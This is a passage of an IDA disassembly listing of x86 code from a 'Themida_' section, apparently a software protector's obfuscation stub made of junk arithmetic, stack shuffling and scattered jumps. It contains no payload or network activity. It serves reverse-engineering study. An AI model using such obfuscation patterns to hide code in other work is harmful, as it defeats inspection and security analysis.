loc_589547:				; CODE XREF: Themida_:005852C0j
		mov	ebx, 1FDF50AFh
		shl	ebx, 6
		add	ebx, 7DF429C4h
		add	edi, ebx
		pop	ebx
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58F76C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589564:				; CODE XREF: sub_585452+3B1j
		or	edx, 4726261Fh
		dec	edx
		inc	edx
		dec	edx
		push	eax
		jmp	loc_58BC3C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589573:				; CODE XREF: Themida_:00585F02j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_58C0D2
; ---------------------------------------------------------------------------


loc_58958F:				; CODE XREF: Themida_:0058A34Ej
		mov	esp, [esp]
		push	edx
		mov	edx, 4
		jmp	loc_587BBC
; ---------------------------------------------------------------------------


loc_58959D:				; CODE XREF: Themida_:005868D9j
		shl	ebx, 7
		shr	ebx, 7
		add	ebx, 41B00B09h
		jmp	loc_583F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5895AE:				; CODE XREF: sub_585452+77Aj
		mov	ch, 95h
		neg	ch
		push	eax
		mov	ah, 5Eh
		xor	ch, ah
		jmp	loc_58F3F8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5895BC:				; CODE XREF: sub_58EFBD-305Aj
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		and	edx, 577958E6h
		push	ecx
		mov	ecx, 0AD97EF21h
		jmp	loc_588B7A
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_5895D6:				; CODE XREF: Themida_:00586AC1j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58408C
; ---------------------------------------------------------------------------


loc_5895E1:				; CODE XREF: Themida_:0058D8D7j
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5895E6:				; CODE XREF: sub_585452+2FACj
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_58FE0B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5895FA:				; CODE XREF: Themida_:00583EEDj
		push	ebp
		jmp	loc_58821D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589600:				; CODE XREF: sub_585452+6EF2j
		sub	eax, 26D5C6Eh
		add	ecx, eax
		jmp	loc_58C2DF
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58960C	proc near		; CODE XREF: sub_585452+873j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00583ECE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005851E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586C94 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00587A59 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588854 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00589261 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005897B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A29B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058A975 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058C1A7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D586 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DE4A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058E836 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058E9A3 SIZE 00000024 BYTES

		push	ebp
		push	ebx
		mov	ebx, 7E9D7B99h
		or	ebx, 5807050Eh
		xor	ebx, 2F4E64E8h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_58C1A7
sub_58960C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_589627:				; CODE XREF: Themida_:0058DDB1j
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_589681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_589635:				; CODE XREF: sub_58FA66+388j
		not	dword ptr [esp+0]
		mov	eax, [esp+0]
		jmp	loc_589A02
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589640:				; CODE XREF: sub_585452+36A3j
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_58EFB4
; ---------------------------------------------------------------------------


loc_589650:				; CODE XREF: sub_585452+F4Cj
		pop	eax
		push	ecx
		mov	ch, 9Fh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58867B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589662:				; CODE XREF: Themida_:0058DD25j
		add	esp, 4
		jmp	loc_589B8F
; ---------------------------------------------------------------------------


loc_58966D:				; CODE XREF: Themida_:0058D44Bj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_58E95A
; ---------------------------------------------------------------------------


loc_589681:				; CODE XREF: Themida_:00589630j
		pop	esi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_588ACA
; ---------------------------------------------------------------------------


loc_589691:				; CODE XREF: Themida_:00584DA2j
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3C687151h
		inc	ecx
		sub	ecx, 1
		jmp	loc_589B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_5896AC:				; CODE XREF: sub_587574-478j
		add	esp, 4
		and	ecx, 20AE377Bh
		add	ecx, 735A4A50h
		not	ecx
		push	edx
		mov	edx, 31B92417h
		shr	edx, 3
		xor	edx, 107C46B3h
		inc	edx
		add	edx, 0D98D6F1Ah
		add	ecx, edx
		mov	edx, [esp+0]
		jmp	loc_58C072
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_5896DD:				; CODE XREF: sub_58EA34-A26j
		add	eax, 2
		jmp	loc_58CFC1
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5896E5:				; CODE XREF: sub_585452+7472j
		pop	eax
		jmp	loc_58ADAB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5896EB:				; CODE XREF: Themida_:0058BF37j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_583DD1
; ---------------------------------------------------------------------------


loc_5896FA:				; CODE XREF: Themida_:0058627Cj
		push	3FD7h
		mov	[esp], ebp
		mov	ebp, 2045474Ch
		shr	ebp, 2
		jmp	loc_5893E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58970F:				; CODE XREF: sub_585452+23BCj
		mov	edx, edi
		jmp	loc_589CB7
; ---------------------------------------------------------------------------


loc_589716:				; CODE XREF: sub_585452-9FCj
		mov	ah, bh
		jmp	loc_587AC7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5842B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58972B:				; CODE XREF: sub_58AB18+3j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], ebp
		mov	ebp, 4
		jmp	loc_5850EA
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_589745:				; CODE XREF: sub_58EFBD-8094j
		push	ecx
		mov	ecx, 489F5319h
		jmp	loc_584B38
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_589750:				; CODE XREF: Themida_:0058EBEEj
		add	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_58BD31
; ---------------------------------------------------------------------------


loc_589759:				; CODE XREF: Themida_:0058A2AEj
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58865D
; ---------------------------------------------------------------------------


loc_589765:				; CODE XREF: Themida_:0058A9C7j
		push	30C94043h
		pop	edx
		add	ebx, 42CC458Fh
		jmp	loc_5859CF
; ---------------------------------------------------------------------------


loc_589776:				; CODE XREF: Themida_:0058A641j
		inc	ebx
		and	ebx, 4C2D16F3h
		shr	ebx, 4
		add	ebx, 0FFFFFFFFh
		jmp	loc_58D61B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58978B:				; CODE XREF: sub_585452-DEEj
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5880BF
; ---------------------------------------------------------------------------


loc_589795:				; CODE XREF: Themida_:005865D6j
		mov	ecx, 6E4C6845h
		add	ecx, 0FFFFFFFFh
		jmp	loc_5846D1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_58E11C
; ---------------------------------------------------------------------------


loc_5897AF:				; CODE XREF: Themida_:00587EAFj
		xor	edx, [esp]
		jmp	loc_58ED64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_5897B7:				; CODE XREF: sub_58960C+138Dj
		add	esp, 4
		jmp	loc_583ECE
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_5897BF:				; CODE XREF: sub_589C10-B4Bj
		mov	[esp-4+arg_0], eax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5897C7:				; CODE XREF: sub_585452+62j
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], edi
		xor	edi, [esp+6+var_8+2]
		pop	esp
		xor	[esp+4], edx
		pop	edx
		mov	eax, [esp+0]
		add	esp, 4
		xor	eax, 15D12550h
		push	63DAh
		mov	[esp+0], ecx
		push	6155h
		mov	[esp+2+var_4+2], eax
		mov	eax, 785E7382h
		jmp	loc_587617
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589814:				; CODE XREF: Themida_:0058ED40j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58F531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589820:				; CODE XREF: sub_585452+6D50j
		mov	ecx, edi
		push	ecx
		pop	esi
		pop	ecx
		push	dword ptr [esp+0]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58E714
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589837:				; CODE XREF: Themida_:00584520j
		mov	ch, 13h
		jmp	loc_58FEE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58622C


loc_58983E:				; CODE XREF: sub_58622C+6862j
		add	ebp, 4376C68Dh
		jmp	loc_58DF70
; END OF FUNCTION CHUNK	FOR sub_58622C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589849:				; CODE XREF: sub_585452+7999j
		push	edi
		jmp	loc_584FCB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58984F:				; CODE XREF: Themida_:0058BD59j
		add	esp, 4
		add	eax, 2
		jmp	loc_587473
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_58985A:				; CODE XREF: sub_586A34-296Ej
		add	esi, ebx
		jmp	loc_5881C2
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58DCFB
; ---------------------------------------------------------------------------


loc_589867:				; CODE XREF: Themida_:00586ADBj
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		jmp	loc_5894B6
; ---------------------------------------------------------------------------


loc_589875:				; CODE XREF: Themida_:00583F49j
		mov	dl, al
		pop	eax
		pop	ebx
		sub	al, dl
		jmp	loc_58EBA4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58FF0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5886E0


loc_58988F:				; CODE XREF: sub_5886E0+502Ej
		xor	ebp, 1E3C2228h
		add	ecx, ebp
		mov	ebp, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58B1C9
; END OF FUNCTION CHUNK	FOR sub_5886E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5898AB:				; CODE XREF: sub_585452+21CAj
		push	eax
		add	[esp+0Ah+var_C+2], 5F7207B8h
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_588718
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_5898BE:				; CODE XREF: sub_58C230+2B2Fj
		push	60BA0823h
		jmp	loc_58BAF8
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_5898C8:				; CODE XREF: Themida_:0058EEB5j
		pop	edi
		mov	ecx, ebp
		pop	ebp
		add	esi, ecx
		pop	ecx
		push	ebx
		push	ebp
		mov	ebp, 8CF0570h
		mov	ebx, 0F730FA92h
		jmp	loc_586D8C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		jmp	loc_58D869
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5898F2:				; CODE XREF: sub_585452+6C7Bj
		pop	esp
		mov	[esp+2+var_4+2], edi
		push	ecx
		mov	ecx, 33012311h
		mov	edi, 34F686F9h
		jmp	loc_58FD0B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589906:				; CODE XREF: Themida_:00586D18j
		push	ecx
		mov	cl, 0D0h
		jmp	loc_588009
; ---------------------------------------------------------------------------


loc_58990E:				; CODE XREF: Themida_:0058E04Aj
		sub	edi, edx
		jmp	loc_586ADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589915:				; CODE XREF: sub_585452+173Dj
		mov	esp, [esp-0Ah+arg_4+2]
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_5899AC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_589922:				; CODE XREF: sub_587574+1DF8j
		pop	eax
		push	eax
		mov	eax, 75966EB9h
		shr	eax, 2
		add	eax, 73920C26h
		jmp	loc_586B3B
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589936:				; CODE XREF: sub_585452+480Bj
		pop	ebp
		push	ebp
		mov	ebp, 1521285h
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		push	edi
		mov	edi, 4C6D4889h
		jmp	loc_58F165
; ---------------------------------------------------------------------------


loc_58994D:				; CODE XREF: sub_585452+1B73j
		add	edi, 4
		jmp	loc_58CD79
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589958:				; CODE XREF: Themida_:0058A58Ej
		not	dword ptr [esp]
		jmp	loc_58E859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589960:				; CODE XREF: sub_585452+6AA4j
		mov	dh, ah
		jmp	loc_58EAF6
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_589967	proc near		; CODE XREF: sub_585452+1CD6j

var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00583EC7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00583F00 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005841B1 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058479F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00584A8E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00584EBA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00585F4B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058664B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005866B7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00586E80 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00587360 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058817C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00588744 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005889BD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00588AD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058907D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A317 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BCAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BCF9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058D081 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D4FE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058DAD1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E7F4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E830 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EEC5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EF52 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EF6D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058F0F9 SIZE 00000021 BYTES

		sub	esp, 4
		jmp	loc_5841B1
sub_589967	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_589972	proc near		; CODE XREF: sub_585452+854Fj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00586219 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058AD72 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BD19 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D2BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058FF3A SIZE 00000014 BYTES

		sub	esp, 4
		jmp	loc_58AD72
sub_589972	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_58997D:				; CODE XREF: sub_589FD5-10ECj
		mov	edi, 245E6D2Eh
		jmp	loc_58A44E
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_589987:				; CODE XREF: sub_58F728-7B56j
		sub	esi, 55CE4BD3h
		push	ebp
		jmp	loc_5847B2
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_589993:				; CODE XREF: Themida_:0058A72Fj
		push	esi
		mov	esi, esp
		jmp	loc_58A061

; =============== S U B	R O U T	I N E =======================================



sub_58999B	proc near		; CODE XREF: sub_58EDD1+F6Fj

var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
var_2		= word ptr -2
arg_2		= dword	ptr  6
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00584E79 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058608E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00586971 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005872E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587658 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00587A13 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00587E7F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005886AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00589BE8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058ACAB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CF02 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058D4B0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058D93A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DDB6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058DF20 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E158 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058E21E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058E2D2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EA40 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058EE8D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F082 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F337 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FAA4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058FE24 SIZE 0000000C BYTES

		push	bx
		mov	bh, 0DAh
		jmp	loc_58F082
sub_58999B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5899A4:				; CODE XREF: sub_585452+7667j
		mov	esi, [esp+12h+var_14+2]
		jmp	loc_58F554
; ---------------------------------------------------------------------------


loc_5899AC:				; CODE XREF: sub_585452+44CBj
		push	2B77h
		mov	[esp-6+arg_0+2], eax
		xchg	eax, [esp-6+arg_0+2]
		jmp	loc_58FB8C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_5899BC:				; CODE XREF: sub_58DA2E-C31j
		mov	bh, ah
		jmp	loc_584FDF
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_5899C3:				; CODE XREF: Themida_:005889F2j
		mov	esp, [esp]
		add	esi, eax
		push	eax
		mov	eax, 6A6A41F6h
		sub	esi, eax
		jmp	loc_58A489
; ---------------------------------------------------------------------------


loc_5899D5:				; CODE XREF: Themida_:0058DC91j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_58FE6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5899E9:				; CODE XREF: sub_585452+3029j
		push	eax
		mov	ah, 0B2h
		xor	ah, 93h
		mov	dh, ah
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		mov	ch, dh
		pop	edx
		shl	ch, 7
		jmp	loc_58BBBC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_589A02:				; CODE XREF: sub_58FA66-642Bj
		add	esp, 4
		push	55DBh
		mov	[esp+0], ecx
		sub	esp, 4
		jmp	loc_5862D9
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_589A18:				; CODE XREF: Themida_:00586B50j
		mov	edx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_589A33:				; CODE XREF: Themida_:00584692j
		mov	ecx, 7A36216Fh
		xor	ecx, 1E2B41h
		xor	ecx, 7A280A2Ah
		add	ebx, ecx
		jmp	loc_58EA03
; ---------------------------------------------------------------------------


loc_589A4B:				; CODE XREF: Themida_:0058D198j
		add	edi, ebx
		add	edi, 400362DBh
		pop	ebx
		jmp	loc_58B895
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589A59:				; CODE XREF: sub_585452+83C4j
		pop	ecx
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		add	esp, 4
		shr	ecx, 7
		jmp	loc_58E745
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589A6E:				; CODE XREF: Themida_:005886CBj
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 6F396DE9h
		or	ecx, 66406E08h
		push	edx
		mov	edx, 78753804h
		and	edx, 4C0918DBh
		jmp	loc_58DBC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589A93:				; CODE XREF: sub_585452+4E8Bj
		mov	eax, 25373DE4h
		jmp	loc_58DFC7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_589A9D:				; CODE XREF: sub_58F3BC-B347j
		pop	ebp
		push	[esp-8+arg_0]
		mov	edi, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		sub	esp, 4
		jmp	loc_58F27E
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------


loc_589ABE:				; CODE XREF: Themida_:00586364j
		sub	ebx, ecx
		pop	ecx
		add	ebx, 5D3C2269h
		push	ebp
		mov	ebp, 779676BAh
		not	ebp
		jmp	loc_58D90C
; ---------------------------------------------------------------------------


loc_589AD4:				; CODE XREF: Themida_:00587114j
		mov	edi, 4541ADh
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, 86B7D24Ch
		add	ebx, 0C246DD5h
		push	ecx
		jmp	loc_5893AD
; ---------------------------------------------------------------------------


loc_589AEE:				; CODE XREF: Themida_:00588537j
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	5F3Fh
		mov	[esp], edx
		push	eax
		push	ebx
		mov	ebx, 0AE56A09h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_586EF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589B18:				; CODE XREF: sub_585452+EC3j
		sub	edi, 421F5606h
		push	8ECh
		mov	[esp-24h+arg_1E+2], eax
		jmp	loc_5882EA
; ---------------------------------------------------------------------------


loc_589B2B:				; CODE XREF: sub_585452+3122j
		pop	eax
		or	eax, 273D4599h
		inc	eax
		sub	eax, 773F4596h
		mov	edi, eax
		jmp	loc_58946A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589B3E:				; CODE XREF: Themida_:0058BA3Aj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_58C360
; ---------------------------------------------------------------------------


loc_589B53:				; CODE XREF: Themida_:005896A7j
		push	eax
		mov	eax, 3C68714Dh
		sub	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 29795121h
		jmp	loc_583DD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589B67:				; CODE XREF: sub_585452+AAB8j
		sub	ebp, 6EA937E6h
		jmp	loc_584812
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 2
		mov	[esp], dx
		push	ebx
		mov	bh, 43h
		jmp	loc_58925B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58905F


loc_589B82:				; CODE XREF: sub_58905F-4F61j
		push	eax
		push	esi
		push	3F1C0C8Dh
		pop	esi
		jmp	loc_584F12
; END OF FUNCTION CHUNK	FOR sub_58905F
; ---------------------------------------------------------------------------


loc_589B8F:				; CODE XREF: Themida_:00589668j
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5889F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589B9D:				; CODE XREF: sub_585452+B6Aj
		push	edx
		jmp	sub_584FAB
; ---------------------------------------------------------------------------


loc_589BA3:				; CODE XREF: sub_585452+175Aj
		push	eax
		jmp	loc_58535F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589BA9:				; CODE XREF: Themida_:0058E9D3j
		mov	ecx, 723B6127h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ebx
		sub	eax, 723B6127h
		push	edi
		push	ebx
		mov	ebx, 6F22848h
		mov	edi, 290B3BA1h
		xor	edi, ebx
		pop	ebx
		jmp	loc_589E61
; ---------------------------------------------------------------------------


loc_589BD4:				; CODE XREF: Themida_:00589F3Dj
		add	ecx, 4
		jmp	loc_58F237
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_583C38


